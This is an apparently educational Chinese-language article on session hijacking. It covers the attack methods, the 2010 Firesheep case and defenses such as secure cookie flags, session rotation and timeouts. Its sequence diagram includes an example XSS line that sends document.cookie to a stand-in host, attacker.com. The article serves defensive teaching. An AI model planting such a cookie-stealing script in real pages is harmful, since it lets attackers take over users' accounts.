會話劫持 (Session Hijacking)
1. 定義
會話劫持 (Session Hijacking)(又稱會話側劫持)是指攻擊者接管用戶活躍會話的攻擊行為。攻擊者竊取或預測有效的 會話 ID (Session ID),並利用它來冒充受害者。由於伺服器通過該 ID 識別用戶,一旦 ID 被劫持,伺服器會認為攻擊者就是合法的登入用戶。
2. 技術原理
HTTP 是無狀態協定。為了保持登入狀態,伺服器會簽發 會話 ID。 如果這個 ID 被竊取,帳號的「鑰匙」就丟了。在這個階段,用戶的原始密碼已不再重要。
常見劫持方法:
- 會話嗅探 (Sniffing): 在未加密的 HTTP 流量(如公共 Wi-Fi)中截獲 Cookie。
- 跨站腳本 (XSS): 通過
document.cookie竊取 Cookie。 - 會話固定 (Session Fixation): 攻擊者在用戶登入之前,先將其會話 ID 設置為已知值。
- 會話預測: 會話 ID 的生成演算法過於簡單(如順序數字),導致攻擊者可以猜出有效的 ID。
3. 攻擊流程 (通過 XSS 竊取 Cookie)
sequenceDiagram
participant Victim as 受害者
participant App as Web 應用程式
participant Attacker as 攻擊者
Victim->>App: 登入
App-->>Victim: Set-Cookie: session=ABC123XYZ
Note over Victim: 受害者訪問了被注入 XSS 的頁面
Victim->>Attacker: GET /steal?cookie=ABC123XYZ
Note right of Victim: 惡意腳本執行:<br/>fetch('attacker.com?c=' + document.cookie)
Attacker->>App: GET /account (攜帶 Cookie: session=ABC123XYZ)
Note right of Attacker: 攻擊者重放 (Replay) 竊得的 Cookie
App-->>Attacker: 200 OK (顯示受害者的後台界面)4. 真實案例:Firesheep (2010)
背景: 當時大多數網站僅在登入頁面使用 HTTPS,登入後即回退到 HTTP。 漏洞類別: 會話側劫持(未加密傳輸)。
工具影響: 2010 年,Eric Butler 發布了名為 Firesheep 的 Firefox 擴充功能。 當時 Facebook 和 Twitter 等網站對會話 Cookie 缺乏加密保護。Firesheep 可以嗅探開放 Wi-Fi(如咖啡館)中的未加密流量。它會在側邊欄顯示附近所有登入用戶的頭像。用戶只需雙擊頭像,就能瞬間在瀏覽器中劫持該用戶的 Facebook 帳號。
影響: 這一工具迫使整個網際網路行業開始全面採用 HTTPS Everywhere (HSTS) 和安全 Cookie 屬性,標誌著「混合內容會話」時代的終結。
5. 深度防禦策略
A. 安全 Cookie 屬性
為會話 Cookie 配置嚴格的標誌:
Secure: 確保 Cookie 僅通過加密的 HTTPS 連接發送。防止嗅探。HttpOnly: 禁止 JavaScript 訪問 Cookie (document.cookie)。防止 XSS 竊取。SameSite: (Strict或Lax) 防止 CSRF 及部分資訊洩漏。
Set-Cookie: session_id=...; Secure; HttpOnly; SameSite=LaxB. 會話輪轉 (Session Rotation)
務必在用戶成功登入後立即簽發全新的會話 ID。
- 這能有效防止會話固定攻擊。即使攻擊者在登入前注入了 ID,該 ID 在用戶認證後也會立即失效。
C. 縮短會話生命週期
- 閒置逾時: 在用戶停止操作 15-30 分鐘後自動註銷。
- 絕對逾時: 即使一直活躍,也在固定時長(如 24 小時)後強制重新認證。
D. 會話綁定 (Session Binding - 高級)
將會話 ID 與客戶端屬性(如 User-Agent、IP 子網)綁定。
- 檢查機制: 如果請求攜帶正確的 Cookie 但 User-Agent 發生了變化,則判定為異常並作廢會話。
